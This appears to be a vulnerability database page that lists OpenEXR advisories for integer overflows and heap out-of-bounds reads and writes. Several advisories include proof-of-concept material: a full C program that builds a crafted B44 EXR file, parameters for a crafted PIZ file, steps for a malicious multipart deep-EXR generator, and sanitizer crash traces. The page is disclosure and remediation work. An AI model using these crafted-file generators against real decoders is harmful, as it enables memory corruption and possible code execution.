Where
-Infinity
0
Severity
8.8
Integer Overflow
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From versions 3.0.0 to before 3.2.9, 3.3.0 to before 3.3.11, and 3.4.0 to before 3.4.11, there is an integer overflow in ImageChannel::resize that leads to heap OOB write via OpenEXRUtil public API. This issue has been patched in versions 3.2.9, 3.3.11, and 3.4.11.

First published (updated )
Severity
8.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From versions 3.0.0 to before 3.2.9, 3.3.0 to before 3.3.11, and 3.4.0 to before 3.4.11, IDManifest::init() reconstructs strings from a prefix-compressed representation. If the previous string is longer than 255 bytes, the next string is expected to begin with a 2-byte prefix length. The code reads stringList[i][0] and stringList[i][1] without checking that the current string has at least two bytes. This issue has been patched in versions 3.2.9, 3.3.11, and 3.4.11.

First published (updated )
Severity
8.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

In OpenEXR 2.2.0, an invalid write of size 8 in the storeSSE function in ImfOptimizedPixelReading.h could cause the application to crash or execute arbitrary code.

1 / 2
Source: Launchpad
First published (updated )
Severity
8.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

In OpenEXR 2.2.0, an invalid write of size 1 in the bufferedReadPixels function in ImfInputFile.cpp could cause the application to crash or execute arbitrary code.

1 / 2
Source: Launchpad
First published (updated )
Severity
8.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

In OpenEXR 2.2.0, an invalid write of size 2 in the = operator function in half.h could cause the application to crash or execute arbitrary code.

1 / 2
Source: Launchpad
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The PXR24 decompression function undopxr24impl in OpenEXR (internalpxr24.c) ignores the actual decompressed size (outSize) returned by exruncompressbuffer() and instead reads from the scratch buffer based solely on the expected size (uncompressedsize) derived from the header metadata.

Additionally, exruncompressbuffer() (compression.c:202) treats LIBDEFLATESHORTOUTPUT (where the compressed stream decompresses to fewer bytes than expected) as a successful result rather than an error.

When these two issues are combined, an attacker can craft a PXR24 EXR file containing a valid but truncated zlib stream. As a result, the decoder reads uninitialized heap memory and incorporates it into the output pixel data.

Details This issue occurs due to the combination of two flaws.

1. compression.c:202–205 — LIBDEFLATESHORTOUTPUT treated as success else if (res == LIBDEFLATESHORTOUTPUT) { / TODO: is this an error? / return EXRERRSUCCESS; } libdeflatezlibdecompressex() returns LIBDEFLATESHORTOUTPUT when the compressed stream is successfully decompressed but the resulting output size is smaller than the provided output buffer size. In this case, the actual number of decompressed bytes is written to actualout. However, the function does not treat this condition as an error and instead returns success.

2. internalpxr24.c:279–287 — outSize return value ignored rstat = exruncompressbuffer( decode->context, compresseddata, compbufsize, scratchdata, scratchsize, &outSize); // outSize = actual bytes written

if (rstat != EXRERRSUCCESS) return rstat;

// outSize is never referenced afterwards. // The loop below reads the entire scratchdata buffer based on // uncompressedsize (the header-derived expected size). for (int y = 0; y < decode->chunk.height; ++y) { ... } After exruncompressbuffer() returns success, the code does not verify whether the actual decompressed size (outSize) matches the expected size (uncompressedsize). The subsequent byte-plane reconstruction loop reads from the scratch buffer up to uncompressedsize bytes. As a result, the region between outSize and uncompressedsize consists of uninitialized heap memory, which is then read by the decoder.

Affected component - src/lib/OpenEXRCore/internalpxr24.c — undopxr24impl() (line 261–399) - src/lib/OpenEXRCore/compression.c — exruncompressbuffer() (line 202–205)

PoC Please refer to the atta poc.zip ched archive file and proceed after extracting it.

1. git clone https://github.com/AcademySoftwareFoundation/openexr.git 2. mv poc openexr/ 3. cd openexr 4. docker build -f poc/Dockerfile -t pxr24-poc . 5. docker run --rm pxr24-poc

<img width="858" height="155" alt="스크린샷 2026-03-15 오후 4 38 18" src="https://github.com/user-attachments/assets/ded9eab6-9b92-40f7-9a0d-7b00db7e6088" />

Impact Sensitive information from heap memory may be leaked through the decoded pixel data (information disclosure). Trigger Condition: Occurs under default settings; simply reading a malicious EXR file is sufficient to trigger the issue, without any user interaction.

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
Integer Overflow
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

internalexrundopiz() advances the working wavelet pointer with signed 32-bit arithmetic:

c wavbuf += nx ny wcount;

Because nx, ny, and wcount are int, a crafted EXR file can make this product overflow and wrap. The next channel then decodes from an incorrect address. The wavelet decode path operates in place, so this yields both out-of-bounds reads and out-of-bounds writes.

Tested on commit 7820b7e1b93405ba1d551c43a945018226b75bc5

Technical Details

The vulnerable decode path is:

1. internalexrundopiz() sets wavbuf = decode->scratchbuffer1. 2. For each channel, it calls wav2Ddecode (wavbuf + j, ...). 3. It then advances wavbuf with wavbuf += nx ny wcount.

The overflow happens in step 3. Once wavbuf is wrapped, the next channel's wavelet decode runs on the wrong address.

In the 14-bit wavelet path, wdec144() first reads:

- px - p10 - p01 - p11

and then writes back to the same locations:

- px = ... - p01 = ... - p10 = ... - p11 = ...

As a result, the bug is not just a crash-only invalid read. It is an out-of-bounds read/write condition.

Reproduction

pizscanlineredzone.zip

Build exrcheck with ASAN and run:

❯ ./build-asan/bin/exrcheck /tmp/pizscanlineredzone.exr file /tmp/pizscanlineredzone.exr /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:373:19: runtime error: signed integer overflow: 134217724 32 cannot be represented in type 'int' ================================================================= ==1711239==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bedc3934700 at pc 0x7bf1f100f498 bp 0x7ffe032d8f00 sp 0x7ffe032d8ef0 READ of size 2 at 0x7bedc3934700 thread T0 #0 0x7bf1f100f497 in wdec144 /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:148 #1 0x7bf1f100f497 in wav2Ddecode /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:403 #2 0x7bf1f100f497 in internalexrundopiz /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:727 #3 0x7bf1f115b038 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:546 #4 0x7bf1f1161168 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7bf1f2a71add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7bf1f2a83dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7bf1f28c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7bf1f3bfe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7bf1f3c05b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7bf1f3c126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7bf1f3c146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x5d9675fce8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x5d9675fcb2b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x7bf1efe2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x7bf1efe2a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x5d9675fcc844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)

0x7bedc3934700 is located 256 bytes before 8590720784-byte region [0x7bedc3934800,0x7befc39f4710) allocated by thread T0 here: #0 0x7bf1f40fd9c7 in malloc ../../../../src/libsanitizer/asan/asanmalloclinux.cpp:69 #1 0x7bf1f115883e in internaldecodeallocbuffer /home/pop/sec/openexr/src/lib/OpenEXRCore/coding.c:256 #2 0x7bf1f100da97 in internalexrundopiz /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:643 #3 0x7bf1f115b038 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:546 #4 0x7bf1f1161168 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7bf1f2a71add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7bf1f2a83dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7bf1f28c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7bf1f3bfe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7bf1f3c05b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7bf1f3c126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7bf1f3c146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x5d9675fce8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x5d9675fcb2b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x7bf1efe2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x7bf1efe2a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x5d9675fcc844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:148 in wdec144 Shadow bytes around the buggy address: 0x7bedc3934480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x7bedc3934700:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bedc3934880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bedc3934900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bedc3934980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1711239==ABORTING

To prove this is both READ and WRITE, we can also memcheck against non-ASAN release build:

sh valgrind --tool=memcheck --leak-check=no --track-origins=no \ --error-limit=no --num-callers=20 \ ./build-relwithdebinfo/bin/exrcheck /tmp/pizscanlineredzone.exr

Observed result:

- Invalid read of size 2 at internalpiz.c:150 - Invalid write of size 2 at internalpiz.c:171

This confirms the bug is an OOB read/write, not only a read-first crash.

Redzone-Oriented File

- width: 67108862 - height: 32 - channel A: FLOAT, sampling 1 x 1 - channel B: HALF, sampling 33554431 x 16

This makes:

text width 32 2 = 4294967168

which wraps signed 32-bit arithmetic to -128.

That places the next wavbuf access just before the allocated buffer, producing a clean heap-overflow report.

Impact

A crafted EXR file can trigger out-of-bounds memory access during PIZ decompression. The primitive includes both invalid reads and invalid writes. Depending on allocator layout and surrounding memory, this could lead to process crash, memory corruption, or potentially stronger exploitation outcomes.

Recommended Fix

- compute channel span in 64-bit arithmetic - reject any overflow in nx ny wcount - validate cumulative per-channel decoded footprint against outsz before wavelet decode - fail decompression if channel-derived layout does not exactly fit the decompression buffer -------- Found by: Quang Luong of Calif.io

1 / 2
Source: GitHub
First published (updated )
Severity
8.4
EPSS
0.01%
Integer Overflow
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).

Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp): - totalsizes[ptr] += counts[j][ptr]; (line ~511) - overallsamplecount += totalsizes[ptr]; (line ~514) - samples[channel].resize (overallsamplecount); (line ~535)

Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in genericunpackdeeppointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).

Attack scenario: - Attacker provides multipart deep EXR with many parts and very large sample counts per pixel. - Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure. - The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.

Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0

Steps to reproduce

compositedeepscanlinepocbundle.patch

PoC files used: - Writer/generator: poc/compositedeepscanlinee2ecompressedpoc.cpp - Minimal high-level reader harness: poc/simpleexrreader.cpp

The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.

Build with ASAN/UBSAN:

bash cmake -S . -B build-asan \ -DOPENEXRBUILDPOC=ON \ -DCMAKEBUILDTYPE=RelWithDebInfo \ -DCMAKECFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKECXXFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKEEXELINKERFLAGS='-fsanitize=address,undefined' \ -DCMAKESHAREDLINKERFLAGS='-fsanitize=address,undefined'

cmake --build build-asan --target compositewriter simpleexrreader -j

Generate malicious file (decode-path focused profile):

bash ASANOPTIONS=detectleaks=0 timeout 180s \ ./build-asan/poc/compositewriter \ --profile low-ram \ --file /tmp/compositedecodefocus.exr

Trigger:

bash ASANOPTIONS=detectleaks=0 timeout 30s \ ./build-asan/poc/simpleexrreader /tmp/compositedecodefocus.exr

ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.

Example runs

Writer (abbrev):

bash ❯ ./build-asan/poc/compositewriter exploit math: benign samples : 300 malicious parts : 86 malicious samples per part : 50000000 true total samples : 4300000300 uint32 overflow reached : yes wrapped uint32 total : 5033004 composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB) per-part unpacked sample bytes : 300000000 bytes (286.10 MiB) min parts to overflow (current benign/samples): 86 writing compressed multipart deep EXR: /tmp/compositedeepscanlinee2ecompressed.exr writing donor malicious part (50000000 samples) copying malicious part 1/86 from donor chunk ... file size: 26112896 bytes (24.90 MiB)

Reader ASAN crash:

bash ❯ ./build-asan/poc/simpleexrreader reading /tmp/compositeoverflowoptimized.exr with 16 deepscanline parts ================================================================= ==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670 WRITE of size 4 at 0x7ed1a55d90b0 thread T0 #0 0x7ed1da7854f6 in genericunpackdeeppointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 #1 0x7ed1da7623e9 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664 #2 0x7ed1dbcb153b in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816 #3 0x7ed1dbcc597f in Imf40::DeepScanLineInputFile::Data::readData(Imf40::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568 #4 0x7ed1dbc01ca4 in Imf40::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576 #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simpleexrreader.cpp:88 #6 0x7ed1d942a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #7 0x7ed1d942a28a in libcstartmainimpl ../csu/libc-start.c:360 #8 0x6466900601e4 in start (/home/pop/sec/openexr/build-asan/poc/simpleexrreader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0) allocated by thread T0 here: #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asannewdelete.cpp:95 #1 0x7ed1dbc29600 in std::newallocator<float>::allocate(unsigned long, void const) /usr/include/c++/13/bits/newallocator.h:151 #2 0x7ed1dbc29600 in std::allocatortraits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloctraits.h:482 #3 0x7ed1dbc29600 in std::Vectorbase<float, std::allocator<float> >::Mallocate(unsigned long) /usr/include/c++/13/bits/stlvector.h:381 #4 0x7ed1dbc29600 in std::Vectorbase<float, std::allocator<float> >::Mallocate(unsigned long) /usr/include/c++/13/bits/stlvector.h:378 #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::Mdefaultappend(unsigned long) /usr/include/c++/13/bits/vector.tcc:663 #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stlvector.h:1016 #7 0x7ed1dbc00184 in Imf40::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535 #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simpleexrreader.cpp:88 #9 0x7ed1d942a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #10 0x7ed1d942a28a in libcstartmainimpl ../csu/libc-start.c:360 #11 0x6466900601e4 in start (/home/pop/sec/openexr/build-asan/poc/simpleexrreader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in genericunpackdeeppointers Shadow bytes around the buggy address: 0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa 0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==175024==ABORTING

Root cause analysis

In CompositeDeepScanLine::readPixels:

1. Per-pixel totals are accumulated in vector<unsigned int> totalsizes. 2. For attacker-controlled large counts across many parts, totalsizes[ptr] wraps modulo 2^32. 3. overallsamplecount is then derived from wrapped totals and used in samples[channel].resize(overallsamplecount). 4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (genericunpackdeeppointers) overrun the undersized composite sample buffer.

Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.

Impact

Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.

1 / 2
Source: GitHub
First published (updated )
Severity
8.4
Integer Overflow
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

Root cause Variable declarations (internalb44.c:535) c int nx, ny; nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32t.

Scratch buffer allocation (internalb44:543) c nBytes = (uint64t) (ny) (uint64t) (nx) (uint64t) (curc->bytesperelement); The allocation path correctly promotes to uint64t before multiplying. The scratch buffer is always large enough to hold the full channel.

Row pointer reconstruction (internalb44:560) c row0 = (uint16t) scratch; row0 += y nx; row1 = row0 + nx; row2 = row1 + nx; row3 = row2 + nx; y and nx are both int. The product y nx is computed in int. If this product exceeds INTMAX (2,147,483,647), the result is signed integer overflow

Out of Band write (internalb44:592) c memcpy (row0, &s[0], n); memcpy (row1, &s[4], n); memcpy (row2, &s[8], n); memcpy (row3, &s[12], n); These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (htapplyimpl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.

PoC The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompressb44impl() computes row0 += y nx, with y=8 and nx=268435456, the product exceeds INTMAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/pocb44.exr can be replayed independently on any OpenEXR installation. poc.cpp #include <openexr.h> #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h>

#define CHECK(call) do { exrresultt rv = (call); if (rv != EXRERRSUCCESS) { fprintf(stderr, "%s failed (%d)\n", #call, (int)rv); goto fail; } } while (0)

static void fillblocks(uint8t out, uint64t n) { for (uint64t i = 0; i < n; i++, out += 3) { out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2); } }

int main(void) { const int64t W = 268435456; const int64t H = 9; const char path = "/tmp/pocb44.exr";

const uint64t blocks = (uint64t)(W / 4) 2 + 1; const uint64t psz = blocks 3;

uint8t packed = (uint8t) malloc(psz); exrcontextt ctxt = NULL; exrcontextinitializert cinit = EXRDEFAULTCONTEXTINITIALIZER; int part = -1; exrchunkinfot cinfo; exrdecodepipelinet dec = EXRDECODEPIPELINEINITIALIZER; uint16t dummy = 0; int ok = 0;

if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; } fillblocks(packed, blocks);

CHECK(exrstartwrite(&ctxt, path, EXRWRITEFILEDIRECTLY, &cinit)); CHECK(exraddpart(ctxt, "scan", EXRSTORAGESCANLINE, &part)); CHECK(exrinitializerequiredattrsimple( ctxt, part, (int32t)W, (int32t)H, EXRCOMPRESSIONB44)); CHECK(exraddchannel(ctxt, part, "Y", EXRPIXELHALF, EXRPERCEPTUALLYLOGARITHMIC, 1, 1)); CHECK(exrwriteheader(ctxt)); CHECK(exrwritescanlinechunk(ctxt, part, 0, packed, psz)); exrfinish(&ctxt); ctxt = NULL;

fprintf(stderr, "[] wrote %s W=%"PRId64" H=%"PRId64 " packed=%"PRIu64" bytes\n", path, W, H, psz);

CHECK(exrstartread(&ctxt, path, &cinit)); CHECK(exrreadscanlinechunkinfo(ctxt, 0, 0, &cinfo)); CHECK(exrdecodinginitialize(ctxt, 0, &cinfo, &dec));

dec.channels[0].decodetoptr = (uint8t)&dummy; dec.channels[0].userpixelstride = 2; dec.channels[0].userlinestride = dec.channels[0].width 2; dec.channels[0].userbytesperelement = 2; dec.channels[0].userdatatype = dec.channels[0].datatype;

CHECK(exrdecodingchoosedefaultroutines(ctxt, 0, &dec)); dec.unpackandconvertfn = NULL;

fprintf(stderr, "[] calling exrdecodingrun()h\n"); fflush(stderr);

CHECK(exrdecodingrun(ctxt, 0, &dec)); ok = 1;

fail: if (ctxt) { exrdecodingdestroy(ctxt, &dec); exrfinish(&ctxt); } free(packed); return ok ? 0 : 1; } ASAN Trace openexr/src/lib/OpenEXRCore/internalb44.c:561:23: runtime error: signed integer overflow: 8 268435456 cannot be represented in type 'int' #0 in uncompressb44impl internalb44.c:561 #1 in internalexrundob44 internalb44.c:706 #2 in decompressdata compression.c:444 #3 in exruncompresschunk compression.c:541 #4 in exrdecodingrun decoding.c:580 #5 in main poc.c:83

================================================================= ==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800 ==PID==The signal is caused by a WRITE memory access. #0 in memcpy (libc) #1 in uncompressb44impl internalb44.c:599 #2 in internalexrundob44 internalb44.c:706 #3 in decompressdata compression.c:444 #4 in exruncompresschunk compression.c:541 #5 in exrdecodingrun decoding.c:580 #6 in main poc.c:83

SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompressb44impl internalb44.c:599

Impact A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exrdecodingrun(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).

1 / 2
Source: GitHub
First published (updated )
Severity
8.4
Integer Overflow
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.7, an attacker providing a crafted .exr file with HTJ2K compression and a channel width of 32768 can write controlled data beyond the output heap buffer in any application that decodes EXR images. The write primitive is 2 bytes per overflow iteration or 4 bytes (by another path), repeating for each additional pixel past the overflow point. In this context, a heap write overflow can lead to remote code execution on systems. This issue has been patched in version 3.4.7.

First published (updated )
Severity
8.4
Integer Overflow
AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

Summary

The DWA lossy decoder constructs temporary per-component block pointers using signed 32-bit arithmetic. For a large enough width, the calculation overflows and later decoder stores operate on a wrapped pointer outside the allocated rowBlock backing store.

This bug is reachable from the public decoder path and can be reproduced through the shipped exrcheck tool with a crafted scanline DWAA file. The confirmed dynamic symptom is a write-side crash in the lossy DCT execution path.

Tested on commit: 7820b7e1b93405ba1d551c43a945018226b75bc5

Root Cause and Data Flow

The vulnerable pointer construction lives in src/lib/OpenEXRCore/internaldwadecoder.h:

c for (int comp = 1; comp < numComp; ++comp) rowBlock[comp] = rowBlock[comp - 1] + numBlocksX 64;

The expression numBlocksX 64 is computed as signed int. Once numBlocksX is large enough, the multiplication wraps, and rowBlock[comp] points backward rather than forward into the temporary decode buffer.

Later, LossyDctDecoderexecute() uses those derived pointers for real loads and stores during the block shuffle and reconstruction process. At that point the decoder is no longer operating within the bounds of the allocation created for rowBlockHandle.

The public control flow is the standard one:

